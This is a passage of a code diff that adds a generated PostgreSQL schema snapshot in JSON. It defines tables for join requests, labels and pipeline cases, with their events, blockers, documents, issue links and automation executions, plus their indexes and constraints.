+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_defaults_payload": {
+          "name": "agent_defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_hash": {
+          "name": "claim_secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_expires_at": {
+          "name": "claim_secret_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_consumed_at": {
+          "name": "claim_secret_consumed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_agent_id": {
+          "name": "created_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_by_user_id": {
+          "name": "rejected_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_at": {
+          "name": "rejected_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "join_requests_invite_unique_idx": {
+          "name": "join_requests_invite_unique_idx",
+          "columns": [
+            {
+              "expression": "invite_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_company_status_type_created_idx": {
+          "name": "join_requests_company_status_type_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_user_uq": {
+          "name": "join_requests_pending_human_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requesting_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_email_uq": {
+          "name": "join_requests_pending_human_email_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(\"request_email_snapshot\")",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "join_requests_invite_id_invites_id_fk": {
+          "name": "join_requests_invite_id_invites_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "invites",
+          "columnsFrom": [
+            "invite_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_company_id_companies_id_fk": {
+          "name": "join_requests_company_id_companies_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_created_agent_id_agents_id_fk": {
+          "name": "join_requests_created_agent_id_agents_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.labels": {
+      "name": "labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "labels_company_idx": {
+          "name": "labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "labels_company_name_idx": {
+          "name": "labels_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "labels_company_id_companies_id_fk": {
+          "name": "labels_company_id_companies_id_fk",
+          "tableFrom": "labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_automation_executions": {
+      "name": "pipeline_automation_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "automation_id": {
+          "name": "automation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "triggering_event_id": {
+          "name": "triggering_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_issue_id": {
+          "name": "execution_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_execution_id": {
+          "name": "retry_of_execution_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generation": {
+          "name": "generation",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_automation_executions_idempotency_uq": {
+          "name": "pipeline_automation_executions_idempotency_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "automation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "triggering_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_company_case_idx": {
+          "name": "pipeline_automation_executions_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_routine_idx": {
+          "name": "pipeline_automation_executions_routine_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_execution_issue_idx": {
+          "name": "pipeline_automation_executions_execution_issue_idx",
+          "columns": [
+            {
+              "expression": "execution_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_retry_of_execution_idx": {
+          "name": "pipeline_automation_executions_retry_of_execution_idx",
+          "columns": [
+            {
+              "expression": "retry_of_execution_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_automation_executions_company_id_companies_id_fk": {
+          "name": "pipeline_automation_executions_company_id_companies_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_routine_id_routines_id_fk": {
+          "name": "pipeline_automation_executions_routine_id_routines_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_execution_issue_id_issues_id_fk": {
+          "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "execution_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_automation_executions_status_check": {
+          "name": "pipeline_automation_executions_status_check",
+          "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_blockers": {
+      "name": "pipeline_case_blockers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "blocked_by_case_id": {
+          "name": "blocked_by_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_blockers_case_blocked_by_uq": {
+          "name": "pipeline_case_blockers_case_blocked_by_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_blocked_by_idx": {
+          "name": "pipeline_case_blockers_blocked_by_idx",
+          "columns": [
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_company_case_idx": {
+          "name": "pipeline_case_blockers_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_blockers_company_id_companies_id_fk": {
+          "name": "pipeline_case_blockers_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "blocked_by_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_blockers_no_self_block_check": {
+          "name": "pipeline_case_blockers_no_self_block_check",
+          "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\""
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_documents": {
+      "name": "pipeline_case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_documents_company_case_key_uq": {
+          "name": "pipeline_case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_document_uq": {
+          "name": "pipeline_case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_company_case_updated_idx": {
+          "name": "pipeline_case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_documents_company_id_companies_id_fk": {
+          "name": "pipeline_case_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_document_id_documents_id_fk": {
+          "name": "pipeline_case_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_events": {
+      "name": "pipeline_case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_events_case_created_idx": {
+          "name": "pipeline_case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_events_company_case_idx": {
+          "name": "pipeline_case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_events_company_id_companies_id_fk": {
+          "name": "pipeline_case_events_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_events_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_actor_agent_id_agents_id_fk": {
+          "name": "pipeline_case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_events_type_check": {
+          "name": "pipeline_case_events_type_check",
+          "value": "\"pipeline_case_events\".\"type\" in (\n        'ingested',\n        'updated',\n        'claimed',\n        'lease_released',\n        'lease_expired',\n        'transitioned',\n        'transition_forced',\n        'transition_suggested',\n        'suggestion_resolved',\n        'review_decided',\n        'conversation_opened',\n        'issue_linked',\n        'issue_unlinked',\n        'automation_executed',\n        'automation_failed',\n        'automation_retry_requested',\n        'automation_effects_retired',\n        'automation_retry_dispatched',\n        'blockers_set',\n        'blockers_resolved',\n        'children_terminal',\n        'upstream_drift',\n        'drift_acknowledged'\n      )"
+        },
+        "pipeline_case_events_actor_type_check": {
+          "name": "pipeline_case_events_actor_type_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        },
+        "pipeline_case_events_agent_run_check": {
+          "name": "pipeline_case_events_agent_run_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_issue_links": {
+      "name": "pipeline_case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_issue_links_case_issue_uq": {
+          "name": "pipeline_case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_issue_idx": {
+          "name": "pipeline_case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_company_case_idx": {
+          "name": "pipeline_case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_automation_attempt_idx": {
+          "name": "pipeline_case_issue_links_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_issue_links_company_id_companies_id_fk": {
+          "name": "pipeline_case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_issue_id_issues_id_fk": {
+          "name": "pipeline_case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_issue_links_role_check": {
+          "name": "pipeline_case_issue_links_role_check",
+          "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_cases": {
+      "name": "pipeline_cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
